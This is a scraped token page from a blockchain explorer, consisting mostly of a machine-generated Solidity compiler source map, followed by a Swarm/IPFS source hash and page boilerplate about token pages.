2699:5;2703:1;2699;:5;:::i;:::-;2687:17;2507:224;-1:-1:-1;;;;;2507:224:0:o;12034:93::-;12091:11;;:28;;-1:-1:-1;;;;;12091:11:0;;;;:28;;;;;12112:6;;12091:11;:28;:11;:28;12112:6;12091:11;:28;;;;;;;;;;;;;;;;;;;2363:136;2421:7;2448:43;2452:1;2455;2448:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2441:50;2363:136;-1:-1:-1;;;2363:136:0:o;2176:179::-;2234:7;;2266:5;2270:1;2266;:5;:::i;:::-;2254:17;;2295:1;2290;:6;;2282:46;;;;-1:-1:-1;;;2282:46:0;;12973:2:1;2282:46:0;;;12955:21:1;13012:2;12992:18;;;12985:30;13051:29;13031:18;;;13024:57;13098:18;;2282:46:0;12771:351:1;2739:246:0;2797:7;2821:6;2817:47;;-1:-1:-1;2851:1:0;2844:8;;2817:47;2874:9;2886:5;2890:1;2886;:5;:::i;:::-;2874:17;-1:-1:-1;2919:1:0;2910:5;2914:1;2874:17;2910:5;:::i;:::-;:10;2902:56;;;;-1:-1:-1;;;2902:56:0;;13551:2:1;2902:56:0;;;13533:21:1;13590:2;13570:18;;;13563:30;13629:34;13609:18;;;13602:62;-1:-1:-1;;;13680:18:1;;;13673:31;13721:19;;2902:56:0;13349:397:1;2993:132:0;3051:7;3078:39;3082:1;3085;3078:39;;;;;;;;;;;;;;;;;:3;:39::i;11749:107::-;11806:7;11838:1;11834;:5;11833:15;;11847:1;11833:15;;;-1:-1:-1;11843:1:0;11749:107;-1:-1:-1;11749:107:0:o;13592:483::-;5583:6;:13;;-1:-1:-1;;;;5583:13:0;-1:-1:-1;;;5583:13:0;;;13694:16:::1;::::0;;13708:1:::1;13694:16:::0;;;;;::::1;::::0;;-1:-1:-1;;13694:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;13694:16:0::1;13670:40;;13739:4;13721;13726:1;13721:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13721:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;13765:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;13765:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;13721:7;;13765:22;;;;;:15;:22;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13755:4;13760:1;13755:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13755:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;13830:15:::1;::::0;13798:62:::1;::::0;13815:4:::1;::::0;13830:15:::1;13848:11:::0;13798:8:::1;:62::i;:::-;13871:15;::::0;:196:::1;::::0;-1:-1:-1;;;13871:196:0;;-1:-1:-1;;;;;13871:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;13952:11;;13871:15:::1;::::0;13994:4;;14021::::1;::::0;14041:15:::1;::::0;13871:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5619:6:0;:14;;-1:-1:-1;;;;5619:14:0;;;-1:-1:-1;;;;13592:483:0:o;11131:610::-;11279:11;11311:13;;11307:172;;11386:4;11368:24;;;;:9;:24;;;;;;:39;;11397:9;11368:28;:39::i;:::-;11359:4;11341:24;;;;:9;:24;;;;;;;:66;;;;11427:40;;-1:-1:-1;;;;;11427:40:0;;;;;;;11457:9;1549:25:1;;1537:2;1522:18;;1403:177;11427:40:0;;;;;;;;11307:172;11524:11;;11491:16;;11510:39;;11518:4;;-1:-1:-1;;;;;11524:11:0;11537:6;11545:3;11510:7;:39::i;:::-;-1:-1:-1;;;;;11580:15:0;;;;;;:9;:15;;;;;;11491:58;;-1:-1:-1;11580:29:0;;11491:58;11580:19;:29::i;:::-;-1:-1:-1;;;;;11562:15:0;;;;;;:9;:15;;;;;:47;11636:40;11654:21;:6;11665:9;11654:10;:21::i;:::-;-1:-1:-1;;;;;11636:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11620:13:0;;;;;;;:9;:13;;;;;:56;;;;11692:41;;;11711:21;:6;11722:9;11711:10;:21::i;:::-;11692:41;;1549:25:1;;;1537:2;1522:18;11692:41:0;;;;;;;11268:473;;11131:610;;;;:::o;3133:223::-;3253:7;3288:12;3281:5;3273:28;;;;-1:-1:-1;;;3273:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3312:9:0;3324:5;3328:1;3324;:5;:::i;7867:225::-;7966:7;-1:-1:-1;;;;;8004:8:0;;;;;;;;;;8025:22;;8040:7;8046:1;8040:7;;:::i;:::-;;;8025:22;8067:17;8073:11;8067:3;:17;:::i;:::-;8060:24;7867:225;-1:-1:-1;;;;;;7867:225:0:o;14:597:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616:131::-;-1:-1:-1;;;;;691:31:1;;681:42;;671:70;;737:1;734;727:12;752:134;820:20;;849:31;820:20;849:31;:::i;:::-;752:134;;;:::o;891:315::-;959:6;967;1020:2;1008:9;999:7;995:23;991:32;988:52;;;1036:1;1033;1026:12;988:52;1075:9;1062:23;1094:31;1119:5;1094:31;:::i;:::-;1144:5;1196:2;1181:18;;;;1168:32;;-1:-1:-1;;;891:315:1:o;1585:456::-;1662:6;1670;1678;1731:2;1719:9;1710:7;1706:23;1702:32;1699:52;;;1747:1;1744;1737:12;1699:52;1786:9;1773:23;1805:31;1830:5;1805:31;:::i;:::-;1855:5;-1:-1:-1;1912:2:1;1897:18;;1884:32;1925:33;1884:32;1925:33;:::i;:::-;1585:456;;1977:7;;-1:-1:-1;;;2031:2:1;2016:18;;;;2003:32;;1585:456::o;2235:127::-;2296:10;2291:3;2287:20;2284:1;2277:31;2327:4;2324:1;2317:15;2351:4;2348:1;2341:15;2367:1121;2451:6;2482:2;2525;2513:9;2504:7;2500:23;2496:32;2493:52;;;2541:1;2538;2531:12;2493:52;2581:9;2568:23;2610:18;2651:2;2643:6;2640:14;2637:34;;;2667:1;2664;2657:12;2637:34;2705:6;2694:9;2690:22;2680:32;;2750:7;2743:4;2739:2;2735:13;2731:27;2721:55;;2772:1;2769;2762:12;2721:55;2808:2;2795:16;2830:2;2826;2823:10;2820:36;;;2836:18;;:::i;:::-;2882:2;2879:1;2875:10;2914:2;2908:9;2977:2;2973:7;2968:2;2964;2960:11;2956:25;2948:6;2944:38;3032:6;3020:10;3017:22;3012:2;3000:10;2997:18;2994:46;2991:72;;;3043:18;;:::i;:::-;3079:2;3072:22;3129:18;;;3163:15;;;;-1:-1:-1;3205:11:1;;;3201:20;;;3233:19;;;3230:39;;;3265:1;3262;3255:12;3230:39;3289:11;;;;3309:148;3325:6;3320:3;3317:15;3309:148;;;3391:23;3410:3;3391:23;:::i;:::-;3379:36;;3342:12;;;;3435;;;;3309:148;;;3476:6;2367:1121;-1:-1:-1;;;;;;;;2367:1121:1:o;3493:247::-;3552:6;3605:2;3593:9;3584:7;3580:23;3576:32;3573:52;;;3621:1;3618;3611:12;3573:52;3660:9;3647:23;3679:31;3704:5;3679:31;:::i;3953:388::-;4021:6;4029;4082:2;4070:9;4061:7;4057:23;4053:32;4050:52;;;4098:1;4095;4088:12;4050:52;4137:9;4124:23;4156:31;4181:5;4156:31;:::i;:::-;4206:5;-1:-1:-1;4263:2:1;4248:18;;4235:32;4276:33;4235:32;4276:33;:::i;:::-;4328:7;4318:17;;;3953:388;;;;;:::o;4346:127::-;4407:10;4402:3;4398:20;4395:1;4388:31;4438:4;4435:1;4428:15;4462:4;4459:1;4452:15;4478:422;4567:1;4610:5;4567:1;4624:270;4645:7;4635:8;4632:21;4624:270;;;4704:4;4700:1;4696:6;4692:17;4686:4;4683:27;4680:53;;;4713:18;;:::i;:::-;4763:7;4753:8;4749:22;4746:55;;;4783:16;;;;4746:55;4862:22;;;;4822:15;;;;4624:270;;;4628:3;4478:422;;;;;:::o;4905:806::-;4954:5;4984:8;4974:80;;-1:-1:-1;5025:1:1;5039:5;;4974:80;5073:4;5063:76;;-1:-1:-1;5110:1:1;5124:5;;5063:76;5155:4;5173:1;5168:59;;;;5241:1;5236:130;;;;5148:218;;5168:59;5198:1;5189:10;;5212:5;;;5236:130;5273:3;5263:8;5260:17;5257:43;;;5280:18;;:::i;:::-;-1:-1:-1;;5336:1:1;5322:16;;5351:5;;5148:218;;5450:2;5440:8;5437:16;5431:3;5425:4;5422:13;5418:36;5412:2;5402:8;5399:16;5394:2;5388:4;5385:12;5381:35;5378:77;5375:159;;;-1:-1:-1;5487:19:1;;;5519:5;;5375:159;5566:34;5591:8;5585:4;5566:34;:::i;:::-;5636:6;5632:1;5628:6;5624:19;5615:7;5612:32;5609:58;;;5647:18;;:::i;:::-;5685:20;;4905:806;-1:-1:-1;;;4905:806:1:o;5716:140::-;5774:5;5803:47;5844:4;5834:8;5830:19;5824:4;5803:47;:::i;5861:168::-;5901:7;5967:1;5963;5959:6;5955:14;5952:1;5949:21;5944:1;5937:9;5930:17;5926:45;5923:71;;;5974:18;;:::i;:::-;-1:-1:-1;6014:9:1;;5861:168::o;6034:356::-;6236:2;6218:21;;;6255:18;;;6248:30;6314:34;6309:2;6294:18;;6287:62;6381:2;6366:18;;6034:356::o;6395:127::-;6456:10;6451:3;6447:20;6444:1;6437:31;6487:4;6484:1;6477:15;6511:4;6508:1;6501:15;6527:135;6566:3;-1:-1:-1;;6587:17:1;;6584:43;;;6607:18;;:::i;:::-;-1:-1:-1;6654:1:1;6643:13;;6527:135::o;7019:251::-;7089:6;7142:2;7130:9;7121:7;7117:23;7113:32;7110:52;;;7158:1;7155;7148:12;7110:52;7190:9;7184:16;7209:31;7234:5;7209:31;:::i;8196:306::-;8284:6;8292;8300;8353:2;8341:9;8332:7;8328:23;8324:32;8321:52;;;8369:1;8366;8359:12;8321:52;8398:9;8392:16;8382:26;;8448:2;8437:9;8433:18;8427:25;8417:35;;8492:2;8481:9;8477:18;8471:25;8461:35;;8196:306;;;;;:::o;8786:277::-;8853:6;8906:2;8894:9;8885:7;8881:23;8877:32;8874:52;;;8922:1;8919;8912:12;8874:52;8954:9;8948:16;9007:5;9000:13;8993:21;8986:5;8983:32;8973:60;;9029:1;9026;9019:12;11801:128;11841:3;11872:1;11868:6;11865:1;11862:13;11859:39;;;11878:18;;:::i;:::-;-1:-1:-1;11914:9:1;;11801:128::o;12641:125::-;12681:4;12709:1;12706;12703:8;12700:34;;;12714:18;;:::i;:::-;-1:-1:-1;12751:9:1;;12641:125::o;13127:217::-;13167:1;13193;13183:132;;13237:10;13232:3;13228:20;13225:1;13218:31;13272:4;13269:1;13262:15;13300:4;13297:1;13290:15;13183:132;-1:-1:-1;13329:9:1;;13127:217::o;13751:980::-;14013:4;14061:3;14050:9;14046:19;14092:6;14081:9;14074:25;14118:2;14156:6;14151:2;14140:9;14136:18;14129:34;14199:3;14194:2;14183:9;14179:18;14172:31;14223:6;14258;14252:13;14289:6;14281;14274:22;14327:3;14316:9;14312:19;14305:26;;14366:2;14358:6;14354:15;14340:29;;14387:1;14397:195;14411:6;14408:1;14405:13;14397:195;;;14476:13;;-1:-1:-1;;;;;14472:39:1;14460:52;;14567:15;;;;14532:12;;;;14508:1;14426:9;14397:195;;;-1:-1:-1;;;;;;;14648:32:1;;;;14643:2;14628:18;;14621:60;-1:-1:-1;;;14712:3:1;14697:19;14690:35;14609:3;13751:980;-1:-1:-1;;;13751:980:1:o

Swarm Source

ipfs://99604b23f9ae5826ae3e0f78f8675e81faf65de0730f3fcd0d05de4385c1c2e2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.